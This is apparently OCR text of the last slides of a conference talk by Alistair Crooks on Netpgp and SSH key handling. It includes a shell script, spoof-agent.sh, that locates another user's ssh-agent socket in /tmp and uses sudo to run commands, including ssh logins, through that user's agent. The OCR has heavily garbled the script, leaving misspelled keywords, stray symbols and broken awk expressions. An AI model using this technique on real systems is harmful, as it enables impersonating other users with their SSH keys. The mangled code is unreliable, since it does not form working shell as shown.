[16:19:14] eurpbsdconfosx-val ~ [253] > cot’
# /bin/sh

. exec 1s ¥ald yemp/ssh-* | awk *{ print $3.F4"+"
~ [16:19:29] eurcbsdconfosx-val ~ [254] > |}




spoof-agent.sh

#1 /bin/sh

while [ $# gt 0 |; do
caose "$1" in
-u) loser-$2; shift ;;
ot break :;
esac
shift
done
agentpid=$(ps -oux | awk -v LOSER=$1oser '$1 ‘== LOSER && /ssh-agent/ { print $2 }')

sockdir-$(echo /tmp/ssh-*)
sock=$(echo $sockdir | awk "{ sub("..$%, "™); sub("A/tmp/ssh-@*", "");<print. }")

cmd-$1 /.
shift . d

N cave "$cud” in o
. | *ssh) masquerade="-1 $loser" ;; |

esac N

- | ¥
sudo env SSH_AGENT_PID-$agentpid SSH_AUTH_SOCK-$sockdir/agent.$sock $cmd Smsquemdeé‘q }'v
-:,'.-""":‘1 -
exit 0 R '

~




Summary

® Netpgp can manage SSH keys
® SSH key transfer by HKP




Thank you

® Yahoo! for paying for me to come here




Questions!




Alistair Crooks
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